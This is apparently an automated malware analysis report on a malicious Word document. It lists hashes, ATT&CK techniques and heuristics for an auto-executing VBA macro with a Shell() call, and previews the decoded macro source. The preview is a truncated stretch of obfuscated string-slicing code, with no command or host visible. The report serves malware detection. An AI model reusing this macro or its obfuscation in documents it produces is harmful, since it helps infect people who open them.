Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6af5bfdcf4eb49bc…

MALICIOUS

Office (OLE)

90.0 KB Created: 2017-10-20 06:46:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: e5eb339eae2484f137091adcf49b375e SHA-1: e04ed984568112a6bbe3c25841564f3e1b8931ec SHA-256: 6af5bfdcf4eb49bc637ccccaeea9c830f9e4812011e5efb1a5512eca5bdc7d57
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic firing, indicating an attempt to execute arbitrary commands. This is further supported by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic, which specifically flags AutoOpen macros that execute Shell commands. The presence of obfuscated code and the ClamAV detection 'Doc.Macro.Obfuscation-6355576-0' strongly suggest a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53068 bytes
SHA-256: 9cff6d56f805769a6294abfa8aeadae048182b3d079dbde185f34223889a8c2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 106 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function lJRiGnjjE()
HLQzVmR = "ZHQES45HTicTOfUzrqtDbLJqjqVpAGVKWGuzDFPozshFjwczmiRiNNucPHOTMfjMMSzIkVwlaEFidEHnOYDRorzIMSkwrvbRJUsQzUMRmfDIHLwLzaFncRYVUovSkAuidnZILqouMmfInoBBTZwQqnprwXQ890"
sXEWQNUqfJ = Mid(HLQzVmR, 9, 146)
IIoHJt = sXEWQNUqfJ
fhGMb = "EVU7QU1CYWNSNQUjWwXnBbiUOhSnsHapMOtaUjvIAVAMThKsfXvEzZJPzdQDDpNsklsnjuMpBPnjbSBhWZIVMVpmFicrQsELIHchpWMlLFDkmdnXK"
qEJwMSEHE = Mid(fhGMb, 15, 97)
nYOkNt = qEJwMSEHE
GczrDdrEAH = "QG255GSSAVYP91OQ8LGQFjunaFuPUrJmwtaMwpOZribfTIBmQjaMtnwjbRKOVVKvuuzNYqRaBjYaIPTSEIwkRztJvukhfzEWUfkZJoNaSzKMOXXLwsJMXZdzBpRiFkvBcCFciuIPvYW119YYOUEY9GSP5I3KAF"
TIsXtp = Mid(GczrDdrEAH, 19, 120)
QGakIhzHr = TIsXtp
UQuvmOj = "VRELJUEH23ViDwzWQQCVzQNonlTHpWraHBPudVnAwstIpSUAbuAbGbGQmWqOhRhainXBhFsvdBZHWFzVQSfvVPUfvwIHiYSiKTiBuSSWBEzFCwtjXUwPllEOTsGiwlQFjuwDbzazzJtQRPdwFbjKZDsZOPiCMkZQosVHBqFauAPcrnwEPJdVBGfjCXoMOYlPjdcZtVvOWJQZnPibSdnCGEPiMpFiBtLVPztOLXLtOOzF7QQOGSQ3EZH90E"
ssCuw = Mid(UQuvmOj, 12, 224)
LFtLNsSC = ssCuw
aGqulc = "K9CQXO1C66DU2nLozYrmoAUnvUwfKQHWPjCzhiqznEvjRIwzJJTPqwSTbnZzkuDASCltkMGUhrzjElVmYBWBwsjSRiYuFqOsBvQPWCMzCwhwwiPqRmbjYBDaWTbBnMPrcGiJUGQVoYwwKiVjP7VW6"
bBiYDSAGZnw = Mid(aGqulc, 14, 131)
SwkiwazuPAs = bBiYDSAGZnw
JvhviLYt = "QNEQ9R91BJ1TJ9JOW0TDJX9JrJZkVzTnhjGUwbUUiaNRaZBdZQH60AE"
QqcjdlXFm = Mid(JvhviLYt, 24, 25)
ihNAmPYz = QqcjdlXFm
vROPiLrW = "YI0S9FH0vKYtjmlYfUlqzImLbqlPhjnuzLDiopzhMoudWSFtXOJhPdZndiMzGhpPXduUiGkpWDiLNIpIksrTWGiWmPAJdwbizfFsYlKQiTKMzOZVpDONpWsRwXiSGbMXczLiCwjzhaoDvSWYpfTZjNodmotADrKDGnjzCrSsUPjOhpWjAKcbHnoOKiwODiwpQlwIiXVwMbEThZvwRNzsPivTwUoUuDplTqzwtOzdoiOjiUhlmzwqiDaipcJOiBDIlTAqbzDDPWEkUPlimDhvGzCQQPQVOT"
CEEtvuv = Mid(vROPiLrW, 9, 274)
GLUIAZRWp = CEEtvuv
ttiDqjvjlkd = "5DTNI9ESJY9DGAMTC5DF1OhRnqiRADiqCPkiQLMwTBPECivSVCzjzOYOKskdfOTbcGUItWvcBOUiwcOJuMwzEzsorWUXbjTEhocwJmZwHWijttPidbiTSVXiNjRWCRKPIJ5OU"
XfQYGs = Mid(ttiDqjvjlkd, 22, 104)
kwUsfljlh = XfQYGs
RGzOBJsFUzZ = "4JDN290JR9YPQZWrGwTonzakfqOzRKGdzBWuwwFQVwwSrvRZrCGHwcZcXJiwHUwkLQqqicvJqDTpBItkZoIPEzjUbtXmSIIBzOGbFarPGwRtIjbPQtXTLjjMjVOoEJrhuSqnBRiwztIHhmMsSHVYlppQitrjMCKzFjwptoNwPYVSaYiwJWWwnSvFdZFHZuETRZ2K6YGUKIP"
QvTvqIF = Mid(RGzOBJsFUzZ, 15, 176)
IuKXYJqTJ = QvTvqIF
wkWrZGCB = "APGRADKVHF7CBOCMfiHQDZmnicKWzicCRicBOAulnzZbMZZkBSLfidcAWtlNSzERBXNLqbwikVdGAKaECa0TAV69RQW0CW0C2"
KVzKqY = Mid(wkWrZGCB, 16, 67)
hkEBOrTjO = KVzKqY
oRLER = "6LQ15S10BibijijsjOvFiBRVYJKcXTqTszNXKGRFAcqwPiLaiPbNmjoKUphuZJFToIqhRIiZwpFGKSFqwkzIschILCDUZXjrWWKHriIVhCQwihzBjqwoLwbLahVOFOzZJNjoIwwTbbbpMkddDBkibrfavwjKIuQSCrnQwLslscMjVlzqDsLDdRzRiJsJSoLhLInUzNirJzqzivEJzpGQiMpluVipSiSDQfXMwitqNTudazmmEjKcivwzSCabfpZajmjzXsKUwPCPSLKwivliYqVUjYtwERLXuUznOnPMKTZ1274OB8P1JD0"
cAnjivVbMP = Mid(oRLER, 10, 287)
mdiWFOL = cAnjivVbMP
CzXDZinUH = "R6MA05ImviLBwnWwiuXJNTXqJPvapjNJnnsMUjGYUlajOWjInXsCQJimGjvsiUwPUCOKuJiunwobtnbmjmnRoKtiFGGknNuAoKOMHVNdtzORUGsSIIJrhfbKIkFoDtHaDomjYOfNYJYqvbJwOocfECSJjEEXPZazpoOfTJtudvSXGkOhaGZPRcWBVczTJIzzjZAHNifEuiBIjvDwqWwJzLiNSNXOB5E8LWFHJDYX6XPT4E8O"
ckVqfER = Mid(CzXDZinUH, 8, 211)
NIuImT = ckVqfER
anuMEaGvXju = "E8QCQI2TMHjMWaYmzSYLjFXthitTiGJzYPCLmEISPEjUrmDhpKJjbXNjfDWCZurhLjnHYNAuJFwbWDCviMiTzZYABVfjiGtVMBILwwJbKPaVbmKcAaXNPYklHnFChQMDMaOUurwiDCJhwCYPLDiHKOAU43AYKEAHJ82V"
TjwYvLATZiE = Mid(anuMEaGvXju, 11, 138)
jhcvVz = TjwYvLATZiE
VOtDXsjldW = "RM8QXQSRmjuXWYjmqswuCnXTWjViEIkMSvhEjuRzHLKUvtHjAILjDKarWpsLDjNiwhFbrfDvaznqdCXcbohwwAJHUphuBFwXwfYOofoVEQJEXkOTRPkOCRhwYzHCzJuVDPrziVAXJVVS2F6F"
KZYSbqHIPAY = Mid(VOtDXsjldW, 7, 127)
KhjjtFaP = KZYSbqHIPAY
KHKrzrj = "KZA8NDQYqfSsjhHrdtjEqCqROTwwOQfEiVzOXhvfZKhKCbzrmFaYbTDSGWATQNJZAOOOjsTwzEfjUjOmWHLJqGcLRfIBhbPLAIJoNjItliaXoXwZHNzICAjtlCwDkSOVoUOG7B3S09K5"
qLqjCGl = Mid(KHKrzrj, 8, 123)
wuTAqTaPOi = qLqjCGl
izWJFrLHoW = "LFVXsqGsmpNtlljJfOuMEQRNczuJnWUPvStnrFFALBMQ6G"
XcbrhucSm = Mid(izWJFrLHo
... (truncated)

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